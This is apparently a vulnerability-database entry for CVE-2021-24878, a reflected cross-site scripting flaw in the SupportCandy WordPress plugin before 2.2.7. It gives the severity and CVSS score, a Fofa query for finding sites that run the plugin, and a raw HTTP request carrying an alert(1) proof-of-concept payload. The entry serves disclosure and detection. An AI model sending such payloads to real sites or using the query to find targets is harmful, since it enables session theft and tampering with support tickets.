| Title | SupportCandy < 2.2.7 - Reflected Cross-Site Scripting |
|---|---|
| Author | popcorn94 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in pages with wpsc_create_ticket shortcode, potentially stealing user session cookies or manipulating support ticket data. |
| Remediation | Fixed in 2.2.7 |
| CVSS Score | 6.1 |
| EPSS Score | 0.00864 |
| CVE ID | CVE-2021-24878 |
| CWE ID | CWE-79 |
| Fofa Query | body="/wp-content/plugins/supportcandy/" |
| Tags | cve cve2021 wordpress wpscan wp-plugin supportcandy xss vkev vuln |
The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue
GET /?};alert(1)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24878.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24878.pcap
N/AN/A